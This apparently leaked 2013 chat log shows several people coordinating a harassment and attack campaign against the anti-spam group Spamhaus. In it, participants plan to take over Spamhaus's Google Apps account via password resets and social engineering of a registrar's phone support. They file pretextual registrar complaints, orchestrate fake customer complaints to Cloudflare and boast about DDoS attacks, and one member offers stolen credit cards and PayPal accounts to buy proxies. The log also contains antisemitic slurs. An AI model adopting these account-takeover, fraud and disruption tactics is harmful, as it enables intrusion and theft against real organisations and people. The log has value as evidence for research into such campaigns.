4763[20.03.2013 18:00:06] Antitheist: narko, as you know spamhaus started to use gmail for all of their mail
4764[20.03.2013 18:00:20] Antitheist: so - i tried to reset the google account password for the spamhaus.org domain
4765[20.03.2013 18:00:23] narko: oh
4766[20.03.2013 18:00:28] narko: theysend SMS
4767[20.03.2013 18:00:34] Antitheist: the password is sent to proxypot
4768[20.03.2013 18:00:39] Antitheist: no - thats in consumer gmail
4769[20.03.2013 18:00:50] Antitheist: on enterprise its an email to the secondaty address
4770[20.03.2013 18:01:02] narko: oh
4771[20.03.2013 18:02:36] simomchen: proxypot.net is using godaddy's mail service
4772[20.03.2013 18:02:43] simomchen: http://www.who.is/dns/proxypot.net
4773[20.03.2013 18:02:48] Antitheist: yes
4774[20.03.2013 18:02:55] simomchen: proxypot.net MX 1 hour 0 smtp.secureserver.net
4775proxypot.net MX 1 hour 10 mailstore1.secureserver.net
4776[20.03.2013 18:02:57] narko: godaddy are stupid
4777[20.03.2013 18:03:06] narko: they will probably give you the password if you say you own the domain and you forgot it
4778[20.03.2013 18:03:19] Antitheist: are you sure?
4779[20.03.2013 18:03:25] narko: no
4780[20.03.2013 18:03:28] narko: but it doesnt hurt to try
4781[20.03.2013 18:03:35] narko: also they suspend domains for dmca etc..
4782[20.03.2013 18:03:40] narko: but that's not helpful
4783[20.03.2013 18:03:43] Antitheist: thats the last thing we need
4784[20.03.2013 18:04:11] Antitheist: who is a good social engineering master? maybe edataking?
4785[20.03.2013 18:04:23] Antitheist: that can even call godaddy with an american accent
4786[20.03.2013 18:05:20] simomchen: or who can hack this mail servermailstore1.secureserver.net
4787[20.03.2013 18:05:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: An email has been sent to the address on file (L********0@spamhaus.net) for the handle you indicated above. This email will contain instructions and a link that will let you reset your password.
4788[20.03.2013 18:05:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gandi
4789[20.03.2013 18:05:49] narko: LinfordSteve0
4790[20.03.2013 18:05:50] narko: :P
4791[20.03.2013 18:06:12] narko: LH721-2010@spamhaus.net
4792[20.03.2013 18:06:33] Antitheist: ;sapmhaus.net. IN MX
4793[20.03.2013 18:06:36] Antitheist: no records
4794[20.03.2013 18:06:36] narko:
4795Nameserver isla.ns.cloudflare.com. reports: No such host spamhaus.net
4796[20.03.2013 18:06:37] narko: for MX
4797[20.03.2013 18:06:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no even better
4798[20.03.2013 18:06:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:spamhaus.net
4799[20.03.2013 18:06:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no mx
4800[20.03.2013 18:06:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
4801[20.03.2013 18:06:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: indeed
4802[20.03.2013 18:06:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
4803[20.03.2013 18:07:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sooo... then it bounces and gandi knows
4804[20.03.2013 18:07:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the registrant/whois data is incorect
4805[20.03.2013 18:07:17] narko: and dont care
4806[20.03.2013 18:07:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
4807[20.03.2013 18:07:18] narko: :D
4808[20.03.2013 18:07:25] Antitheist: hacking their google apps and owning sbl-removals@spamhaus.org would be epic
4809[20.03.2013 18:07:31] Antitheist: we might get a pwnie award on blackhat :)
4810[20.03.2013 18:07:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: help, lets chat
4811[20.03.2013 18:07:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah lets chat shall we :P
4812[20.03.2013 18:07:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4813[20.03.2013 18:11:14] narko: http://www.spamhaus.org/sbl/query/SBL164111
4814[20.03.2013 18:11:17] narko: old sbl but
4815[20.03.2013 18:11:45] narko: listed on a spam list for selling counterfeits ? what did timeweb.ru do :P
4816[20.03.2013 18:12:35] simomchen: we are fully listed just because this
4817[20.03.2013 18:12:47] narko: steve linford head of the trademark police :)))))))
4818[20.03.2013 18:12:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Thank you for contacting Gandi, your request has been sent. We will reply to your question as soon as possible.
4819[20.03.2013 18:13:14] simomchen: SH wanna to because a police in the internet
4820[20.03.2013 18:13:16] narko: what you sent to gandi?
4821[20.03.2013 18:13:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: steve linford head of the 'applying american jew laws to china as well' export politics department
4822[20.03.2013 18:13:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he failed as a general
4823[20.03.2013 18:13:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
4824[20.03.2013 18:13:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so now he tries it on the internet
4825[20.03.2013 18:14:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no steve, american jew concepts do not apply to the rest of the world.
4826[20.03.2013 18:14:06] narko: (rofl)
4827[20.03.2013 18:21:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ohgandi.net is also having 'multiple ddos attacks this afternoon' according to their website
4828[20.03.2013 18:21:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4829[20.03.2013 18:21:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: someone is helping us or something haha
4830[20.03.2013 18:21:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or helping themselves
4831[20.03.2013 18:21:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
4832[20.03.2013 18:21:41] narko: spamhaus dont have anything hosted at gandi
4833[20.03.2013 18:21:45] narko: why ddos gandi?
4834[20.03.2013 18:21:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its their domain registrar
4835[20.03.2013 18:22:01] narko: its not like ddosing their registrar will make the domain stop working
4836[20.03.2013 18:22:02] narko: lol
4837[20.03.2013 18:28:19] simomchen: how much brandwidth does cloudflare can handle ?
4838[20.03.2013 18:31:40] eDataKing: SPamhaus attacked Moniker for hosting my sites, Richter's sites (he is stil there after paying a bribe to Spamhaus, and a slew of others. They attacked PublicDomainRegistry and had them remove whois protection so they could add the registrar data to my ROKSO file
4839[20.03.2013 18:32:33] eDataKing: The most damage they ever did was when they got one registrar to suspend the domain and then they allowed me to transfer it out to another registrar (applying the 90 wait from ICANN) and then attacking the new registrar to cause a 90 day loss of site.
4840[20.03.2013 18:32:46] eDataKing: By the time the 90 days was up the site has lost its momentum
4841[20.03.2013 18:35:04] simomchen: let me find some customers who using cloudflare , and sent a complaints to cloudflare 'cloudflare's netowrking is too slow these days, even can not access our sites'. we have about 200 customers using cloudflare's service.cloudflare will fell overwhelming force
4842[20.03.2013 18:35:14] eDataKing: yep
4843[20.03.2013 18:35:17] narko: (y)
4844[20.03.2013 18:35:21] eDataKing: they have to mitigate somehow
4845[20.03.2013 18:35:28] simomchen: I will try anything if possible
4846[20.03.2013 18:35:38] eDataKing: no one thing is what will work
4847[20.03.2013 18:35:47] eDataKing: this campaign as a whole will end them though
4848[20.03.2013 18:36:04] eDataKing: that is why they are so scared and releasing false media on their white papers
4849[20.03.2013 18:37:19] simomchen: if cloudflare do not care our clients, I'm quite they will make a create cards chargeback
4850[20.03.2013 18:37:19] Cali: Why did they remove the article about the DDoS on their news page?
4851[20.03.2013 18:37:34] eDataKing: they did?
4852[20.03.2013 18:37:39] eDataKing: probabl;y because it was proven false
4853[20.03.2013 18:37:54] eDataKing: they don't want to get caught lying, even though they do all the time
4854[20.03.2013 18:37:56] Cali: http://www.spamhaus.org/news/
4855[20.03.2013 18:38:11] eDataKing: forum seems to be down?
4856[20.03.2013 18:38:18] eDataKing: I am pinging now
4857[20.03.2013 18:38:40] eDataKing: timeouts
4858[20.03.2013 18:38:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they didn't make any 'nutcase spammer' remarks over the past 6 hours did they :P
4859[20.03.2013 18:38:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after we listed 127.0.0.1 :P
4860[20.03.2013 18:38:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4861[20.03.2013 18:38:58] narko: yes stophaus.com is not loading :((
4862[20.03.2013 18:39:01] eDataKing: looks like someone isn't being the white knight they pretend to be #spamhaus
4863[20.03.2013 18:39:14] eDataKing: is it a ddos attack?
4864[20.03.2013 18:39:35] eDataKing: they will resort to ddos when all else fails. They did that to DP Mailer's site.
4865[20.03.2013 18:39:43] eDataKing: Didn't they try to ddos you Sven?
4866[20.03.2013 18:39:47] Cali: looks alike.
4867[20.03.2013 18:40:01] simomchen: I have noticed to all our clients just now. they will send complaints to cloudflare tomorrow. hehe
4868[20.03.2013 18:40:02] narko: its fine now
4869[20.03.2013 18:40:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they can't
4870[20.03.2013 18:40:05] eDataKing: back up
4871[20.03.2013 18:40:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as we don't have global transit so each and every ddos would come from a peer
4872[20.03.2013 18:40:15] eDataKing: bet they wish they could mitigate that fast lol
4873[20.03.2013 18:40:16] Cali: it is back.
4874[20.03.2013 18:40:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ddossing other peers on ix = disconnect
4875[20.03.2013 18:40:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spamhaus their ddos skills are not 1337 enough lol
4876[20.03.2013 18:40:42] eDataKing: lol
4877[20.03.2013 18:41:12] simomchen: networking of AS34109 haven't ddos currently.
4878[20.03.2013 18:41:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haven't much going on period currently
4879[20.03.2013 18:41:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4880[20.03.2013 18:41:35] eDataKing: My bet is that this campaign will end Spamhaus in less than 180 days and will damage them beyond recovery in less than 30
4881[20.03.2013 18:41:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just ipv6, hardly any customers
4882[20.03.2013 18:41:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and most of nl/de/eu
4883[20.03.2013 18:41:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so they can't ddos it haha
4884[20.03.2013 18:41:57] eDataKing: lol
4885[20.03.2013 18:43:31] simomchen: they can only ddos to AS34109 via idear4business's peering partners
4886[20.03.2013 18:48:11] eDataKing: Spamhaus puts on a different hat to suppress media. Your ddos skillz are lacking as bad as your mitigation skillz. #STOPhaus #spamhaus
4887[20.03.2013 19:25:20] narko: i think spamhaus wrote to my pamyent processor
4888[20.03.2013 19:25:23] narko: has it happened before?
4889[20.03.2013 19:25:44] narko: an IP address started to browse my site. assigned to 2Checkout Inc. now my merchant account is put into a review status.
4890[20.03.2013 19:26:13] narko: was SBL not enough for them ? ;(
4891[20.03.2013 19:27:23] eDataKing: no, if it were there would be no reason for STOPhaus.
4892[20.03.2013 19:27:32] eDataKing: How did they get your processor's info?
4893[20.03.2013 19:27:43] narko: they require it to be written in the site
4894[20.03.2013 19:27:48] narko: "Services provided by 2Checkout Inc"
4895[20.03.2013 19:27:51] eDataKing: Also, they tried that with my Paypal account for 3 years. We are still Top-Tier members
4896[20.03.2013 19:28:03] eDataKing: they reviewed the records and it took 6 hours to be restored
4897[20.03.2013 19:28:18] eDataKing: no other complaint ever made it past the first level of abuse
4898[20.03.2013 19:28:20] narko: lol
4899[20.03.2013 19:28:31] narko: someone called paypal and said i was threatening to kill them unless they paid me money
4900[20.03.2013 19:28:34] narko: and my account was limited for a week
4901[20.03.2013 19:28:38] eDataKing: and that was for the account selling Mail mascot on eBay
4902[20.03.2013 19:28:53] eDataKing: so, if they cared at all...they would have said it was spamware and against their TOS
4903[20.03.2013 19:28:55] eDataKing: but they didn't
4904[20.03.2013 19:29:38] eDataKing: You didn't think that they would roll over and take it in the rump did you?
4905[20.03.2013 19:29:58] eDataKing: they have very limited reach
4906[20.03.2013 19:30:12] eDataKing: they are making false accusations about you and it will be discarded
4907[20.03.2013 19:30:20] eDataKing: what have you done illegal on 2checkout?
4908[20.03.2013 19:30:21] eDataKing: anything?
4909[20.03.2013 19:38:22] narko: no
4910[20.03.2013 19:38:23] narko: well
4911[20.03.2013 19:38:28] narko: I sell hosting for illegal sites
4912[20.03.2013 19:38:35] narko: but i don't advertise it anywhere
4913[20.03.2013 19:39:09] eDataKing: then there is nothing to suspend you over
4914[20.03.2013 19:39:35] narko: doesnt matter
4915[20.03.2013 19:39:37] eDataKing: you can host anything you want, but you couldn't sell illegal pre-made template sites through them or anything
4916[20.03.2013 19:39:40] narko: my site host suspended me too
4917[20.03.2013 19:39:46] narko: they treat spamhaus like it's the CIA
4918[20.03.2013 19:39:51] eDataKing: yes they do
4919[20.03.2013 19:56:12] narko: http://www.spamhaus.org/sbl/query/SBL179394
4920[20.03.2013 19:56:15] narko: they added another /24 of corbina
4921[20.03.2013 19:57:42] Yuri: nice
4922[20.03.2013 19:58:08] Yuri: SR01 - very big person from spamhaus ?
4923[20.03.2013 19:58:21] narko: did someone else start attack to cloudflare? the site is even down now :))
4924[20.03.2013 19:58:27] Yuri: we need to post it to the public, in twitter and etc?
4925[20.03.2013 19:59:08] eDataKing: yes
4926[20.03.2013 19:59:12] eDataKing: SR01
4927[20.03.2013 19:59:12] eDataKing: really?
4928[20.03.2013 19:59:32] eDataKing: probably Richard Cox
4929[20.03.2013 19:59:43] Yuri: look, men, we need to add as more proxy IP for that forum as possible. this forum is our main weapon i think.
4930[20.03.2013 19:59:43] eDataKing: could be Steve himself
4931[20.03.2013 19:59:53] eDataKing: after all, it has become quite personal over the years
4932[20.03.2013 20:00:08] Yuri: i think we could create cloudflare account as well :)
4933[20.03.2013 20:00:13] Yuri: and some other CDNs
4934[20.03.2013 20:00:18] eDataKing: ok, I can donate some today when my girl gets home from work
4935[20.03.2013 20:00:23] Yuri: so this domain will be proxed with a lot of IPs
4936[20.03.2013 20:00:37] narko: will corbina ask for termination?
4937[20.03.2013 20:00:40] narko: due to all this listings
4938[20.03.2013 20:00:41] eDataKing: You tell us what to do and we will make it happen
4939[20.03.2013 20:00:45] Yuri: no. it's home LAN
4940[20.03.2013 20:00:48] eDataKing: the end result is too big to give up on
4941[20.03.2013 20:00:57] Yuri: i don't think they care. they should list all corbina :))
4942[20.03.2013 20:01:05] eDataKing: :)
4943[20.03.2013 20:01:05] narko: they already are. in PBL
4944[20.03.2013 20:01:29] eDataKing: RR was in PBL and told them to go f themselves when they tried to have me depeered with an SBL on them
4945[20.03.2013 20:01:31] Yuri: they may ask to terminate not faster then ones per day. so we could add more proxing IPs faster
4946[20.03.2013 20:01:49] eDataKing: ok, so we need at least 20 proxies ready
4947[20.03.2013 20:01:55] eDataKing: can we use reverse proxies?
4948[20.03.2013 20:02:01] Yuri: Cali, here?
4949[20.03.2013 20:02:08] Yuri: need a VPS with proxy for you for domain
4950[20.03.2013 20:02:17] Yuri: i will make new one IP for proxing too.
4951[20.03.2013 20:02:21] eDataKing: so we need SQUID server setup
4952[20.03.2013 20:02:27] narko: if you want i will send you a list of cards and paypal accounts.. unlimited proxies from any provider.
4953[20.03.2013 20:02:29] Yuri: just need nginx
4954[20.03.2013 20:02:32] Yuri: with simple config.
4955[20.03.2013 20:02:33] eDataKing: ok
4956[20.03.2013 20:03:03] Yuri: eDataKing, we need some tech section on the forum for our core team like moderatos and administrator.
4957[20.03.2013 20:03:09] eDataKing: ok, so we need a server then
4958[20.03.2013 20:03:11] eDataKing: nothing more
4959[20.03.2013 20:03:12] Yuri: you have too much forums on that forum but we need one technical
4960[20.03.2013 20:03:21] Yuri: i will post the information about proxy setup and etc
4961[20.03.2013 20:03:26] Yuri: and we can discuss tech things there
4962[20.03.2013 20:03:30] NM: Good idea
4963[20.03.2013 20:03:33] eDataKing: it'll be ready by the end of the day
4964[20.03.2013 20:03:33] narko: the server is still at infium host?
4965[20.03.2013 20:03:49] eDataKing: I want to recommend ServerPronto
4966[20.03.2013 20:03:54] eDataKing: they don't have an abuse dept
4967[20.03.2013 20:04:01] Yuri: for Nikolay it's to difficult ready 100000 messages per day here
4968[20.03.2013 20:04:02] eDataKing: and they peer a bunch of VPN networks
4969[20.03.2013 20:04:09] narko: same with limestone networks. limestone is a dirty network ignoring abuse and sbls
4970[20.03.2013 20:04:13] eDataKing: and are only $100 for a large dedi
4971[20.03.2013 20:04:14] Yuri: yes. server is still at infium
4972[20.03.2013 20:04:28] Yuri: eDateKing - order one if you able to.
4973[20.03.2013 20:04:30] eDataKing: psychz networks is also good
4974[20.03.2013 20:04:34] narko: yes
4975[20.03.2013 20:04:36] narko: but it's far
4976[20.03.2013 20:04:37] eDataKing: they have 100Gbt port speed as well
4977[20.03.2013 20:04:41] narko: LA to Ukraine it will be very slow
4978[20.03.2013 20:04:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: make sure you have a backup of the stuff on it.
4979[20.03.2013 20:04:52] eDataKing: Psychz may be in your area though
4980[20.03.2013 20:05:17] eDataKing: http://www.psychz.net/
4981[20.03.2013 20:05:25] narko: psychz does not have 100gbps :P i took them down before with 10
4982[20.03.2013 20:05:30] eDataKing: I have a few accounts with them
4983[20.03.2013 20:05:42] eDataKing: if they are close enough, I can get anything we need from them
4984[20.03.2013 20:05:56] eDataKing: they sure charged me for 100Gbts
4985[20.03.2013 20:06:03] eDataKing: almost $100 more bucks
4986[20.03.2013 20:06:33] eDataKing: CPU: Atom D525
4987RAM: 4GB RAM
4988HD: 500 GB SATA Hard Drive
4989BW: 100Mbit Unmetered
4990IP: 5 Usable IPs
4991OS: Windows / Linux
4992[20.03.2013 20:06:37] eDataKing: is that good?
4993[20.03.2013 20:07:32] eDataKing: sry, 100Mbt
4994[20.03.2013 20:07:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: atoms? for fucks sake...
4995[20.03.2013 20:07:33] eDataKing: not Gbt
4996[20.03.2013 20:07:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: those things are slower than my fax machine
4997[20.03.2013 20:07:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4998[20.03.2013 20:07:52] eDataKing: but they are on Spamhaus Top 10 list
4999[20.03.2013 20:07:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they are?
5000[20.03.2013 20:08:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can they transit us? lol
5001[20.03.2013 20:08:06] eDataKing: I was looking at stability, not speed lol
5002[20.03.2013 20:08:11] eDataKing: maybe
5003[20.03.2013 20:08:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we'll transit them in return later on haha
5004[20.03.2013 20:08:36] eDataKing:http://www.spamhaus.org/sbl/listings/psychz.net
5005[20.03.2013 20:08:42] eDataKing: those are their SBLs\
5006[20.03.2013 20:09:09] narko: i have a server at telecoms.bg
5007[20.03.2013 20:09:13] narko: dont know if it would be any good?
5008[20.03.2013 20:09:44] eDataKing: Sven, you are #1 on their list
5009[20.03.2013 20:09:46] eDataKing: that's hilarious
5010[20.03.2013 20:09:56] eDataKing: http://www.spamhaus.org/statistics/networks/
5011[20.03.2013 20:10:14] eDataKing: gues I was wrong about psychz
5012[20.03.2013 20:10:22] eDataKing: what's wrong with OVH again?
5013[20.03.2013 20:10:44] Yuri: I will try to buy some server at belarusian beltelecom :)
5014[20.03.2013 20:10:48] eDataKing: or maybe hinet?
5015[20.03.2013 20:11:47] Yuri: who can search for free CDN networks ?
5016[20.03.2013 20:11:54] Yuri: we can add all of them for this one domain.
5017[20.03.2013 20:12:07] narko: i know two
5018[20.03.2013 20:12:19] narko: cloudflare and incapsula
5019[20.03.2013 20:17:25] eDataKing: We should respond to these new SBL listings each time
5020[20.03.2013 20:18:03] eDataKing: if they do the same things that we are telling them not to do, they are saying "We don't negotiate with those that call us terrorists"
5021[20.03.2013 20:18:21] eDataKing: and I say, "Spit in our faces and we should step on your toes"
5022[20.03.2013 20:18:29] eDataKing: just my opinion however
5023[20.03.2013 20:20:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: never responded to an sbl listing in my life
5024[20.03.2013 20:20:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not gonna do it now
5025[20.03.2013 20:20:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5026[20.03.2013 20:20:48] eDataKing: no, not like a response to them
5027[20.03.2013 20:20:57] eDataKing: like a response in what we are doing
5028[20.03.2013 20:21:03] eDataKing: they escalate, we escalate
5029[20.03.2013 20:21:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah thats called 'evidence' :P
5030[20.03.2013 20:21:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but not as in 'steve pls delete this sbl'
5031[20.03.2013 20:21:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: more like 'look this idiot listed this and that for his e-penis'
5032[20.03.2013 20:21:33] eDataKing: could be mass media distribution, could be attacks, could be complaints to ICANN...whatever
5033[20.03.2013 20:21:45] eDataKing: just make sure they know that each time they act, we will act
5034[20.03.2013 20:22:02] eDataKing: oh, I would never cooperate with Steve
5035[20.03.2013 20:22:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: already filed complaint with ghandi that neither 'the spamhaus project' (without ltd?) exists, nor that office of it, nor the telephone numbers, nor the mx records on the contacts.
5036[20.03.2013 20:22:10] eDataKing: unless it was to sink a boat lol
5037[20.03.2013 20:22:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: forspamhaus.org
5038[20.03.2013 20:22:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and remember kids, spamhaus.org gone, spamhaus gone
5039[20.03.2013 20:22:33] eDataKing: yep
5040[20.03.2013 20:22:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you don't set up a network of nerds resolving your shitlist in a day
5041[20.03.2013 20:22:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that takes decades
5042[20.03.2013 20:22:44] eDataKing: no .org and the 10 years of branding is gone
5043[20.03.2013 20:22:54] eDataKing: no one really knows about all the other sites
5044[20.03.2013 20:22:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not the branding, the SBL is -gone-
5045[20.03.2013 20:23:14] eDataKing: they'd have to rebrand and they can't afford to, nor do people care about spam like they did in 98
5046[20.03.2013 20:23:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their dns for the actual shitlists is on sbl / zen /xbl-sbl.spamhaus.org
5047[20.03.2013 20:23:19] eDataKing: oh, why?
5048[20.03.2013 20:23:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so nospamhaus.org, no dns shitlist, no power.
5049[20.03.2013 20:23:25] eDataKing: the SBL ran when the site was down
5050[20.03.2013 20:23:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the -site- was down...
5051[20.03.2013 20:23:39] eDataKing: yes
5052[20.03.2013 20:23:46] eDataKing: spamhaus.org
5053[20.03.2013 20:23:52] eDataKing: it was down for days
5054[20.03.2013 20:24:02] eDataKing: am I confused about something?
5055[20.03.2013 20:24:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ;; QUESTION SECTION:
5056;zen.spamhaus.org. IN NS
5057
5058;; ANSWER SECTION:
5059zen.spamhaus.org. 8240 IN NS o.ns.spamhaus.org.
5060zen.spamhaus.org. 8240 IN NS q.ns.spamhaus.org.
5061zen.spamhaus.org. 8240 IN NS r.ns.spamhaus.org.
5062zen.spamhaus.org. 8240 IN NS t.ns.spamhaus.org.
5063zen.spamhaus.org. 8240 IN NS x.ns.spamhaus.org.
5064zen.spamhaus.org. 8240 IN NS 0.ns.spamhaus.org.
5065zen.spamhaus.org. 8240 IN NS 2.ns.spamhaus.org.
5066zen.spamhaus.org. 8240 IN NS 3.ns.spamhaus.org.
5067zen.spamhaus.org. 8240 IN NS 4.ns.spamhaus.org.
5068zen.spamhaus.org. 8240 IN NS 5.ns.spamhaus.org.
5069zen.spamhaus.org. 8240 IN NS 7.ns.spamhaus.org.
5070zen.spamhaus.org. 8240 IN NS 8.ns.spamhaus.org.
5071zen.spamhaus.org. 8240 IN NS a.ns.spamhaus.org.
5072zen.spamhaus.org. 8240 IN NS b.ns.spamhaus.org.
5073zen.spamhaus.org. 8240 IN NS c.ns.spamhaus.org.
5074zen.spamhaus.org. 8240 IN NS d.ns.spamhaus.org.
5075zen.spamhaus.org. 8240 IN NS f.ns.spamhaus.org.
5076zen.spamhaus.org. 8240 IN NS g.ns.spamhaus.org.
5077zen.spamhaus.org. 8240 IN NS h.ns.spamhaus.org.
5078zen.spamhaus.org. 8240 IN NS i.ns.spamhaus.org.
5079zen.spamhaus.org. 8240 IN NS k.ns.spamhaus.org.
5080zen.spamhaus.org. 8240 IN NS l.ns.spamhaus.org.
5081
5082;; Query time: 78 msec
5083[20.03.2013 20:24:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: THAT
5084[20.03.2013 20:24:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: -is onspamhaus.org-
5085[20.03.2013 20:24:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if they lose spamhaus.org
5086[20.03.2013 20:24:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their influence is gone
5087[20.03.2013 20:24:37] eDataKing: all I know is the whole time the sitespamhaus.org was down users were still pinging the lists
5088[20.03.2013 20:24:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol botnet? who's using a botnet hahaha
5089[20.03.2013 20:24:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the guy can't even keep his fucking site up
5090[20.03.2013 20:24:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: let alone analyze a botnet haha
5091[20.03.2013 20:24:59] narko: I think they might have traced it
5092[20.03.2013 20:25:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or do forensics
5093[20.03.2013 20:25:10] narko: i got this email from my server host
5094[20.03.2013 20:25:12] narko: Hello Sasha,
5095
5096I'm checking in to see how everything's going. Is there anything I can do for you at this point?
5097[20.03.2013 20:25:21] narko: 3 hours ago
5098[20.03.2013 20:25:25] eDataKing: hmmm
5099[20.03.2013 20:25:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: reinier of ecatel hates spamhaus their butt
5100[20.03.2013 20:25:40] eDataKing: just reply with "everything is fine, why?"
5101[20.03.2013 20:25:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he doesn't have skype or i would already have invited him in here
5102[20.03.2013 20:25:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
5103[20.03.2013 20:25:51] eDataKing: lol
5104[20.03.2013 20:25:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah :P lol
5105[20.03.2013 20:25:57] eDataKing: Brian Kramer may peer us
5106[20.03.2013 20:26:03] eDataKing: He has his on ISP
5107[20.03.2013 20:26:14] eDataKing: and has been on ROKSO for a decade
5108[20.03.2013 20:27:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: k.. time to get the dutch phonenumbers working again lol
5109[20.03.2013 20:27:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so i can send out some fucking FAXES
5110[20.03.2013 20:27:37] narko: i havent had a fax maxhine for over 5 years
5111[20.03.2013 20:27:38] narko: lol
5112[20.03.2013 20:27:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: appearantly our voip subscriptions expired during my move haha
5113[20.03.2013 20:27:46] narko: probably closer to 10
5114[20.03.2013 20:27:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well if you have an embassy in germany, you quickly find out that its beneficial to be able to poop out 16 faxes at a time
5115[20.03.2013 20:28:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: until the gemrans learn to read english
5116[20.03.2013 20:28:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
5117[20.03.2013 20:28:08] narko: try ovh voip :) they are very cheap
5118[20.03.2013 20:28:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and call you... and go 'pls stop sending us faxes, we're running out of paper'
5119[20.03.2013 20:28:21] narko: i have a virtual office in uk and UK phone number from ovh, and everyone trusts my company
5120[20.03.2013 20:28:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats how you make germans do shit
5121[20.03.2013 20:32:17] eDataKing: Here is a good person to call. I can't call them though because I am already a client and I don't want them to be able to have records on me to hand over. http://www.email-marketing-power.com/
5122[20.03.2013 20:32:36] eDataKing: ask if they would be willing to peer us to keep stophaus up or take spamhaus down
5123[20.03.2013 20:32:42] eDataKing: they probably will consider it
5124[20.03.2013 20:32:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: k. i want everyone that has issues/had issues with carriers... including ecatel... in here, and to join nl-ix, amsix, decix or msk-ix
5125[20.03.2013 20:33:17] eDataKing: There are 30 or so new registrants at the forum that were not vouched for
5126[20.03.2013 20:33:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we'll just break the god damn internet if thats what it takes :P
5127[20.03.2013 20:33:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5128[20.03.2013 20:46:19] eDataKing: http://blog.cloudflare.com/the-ddos-that-knocked-spamhaus-offline-and-ho
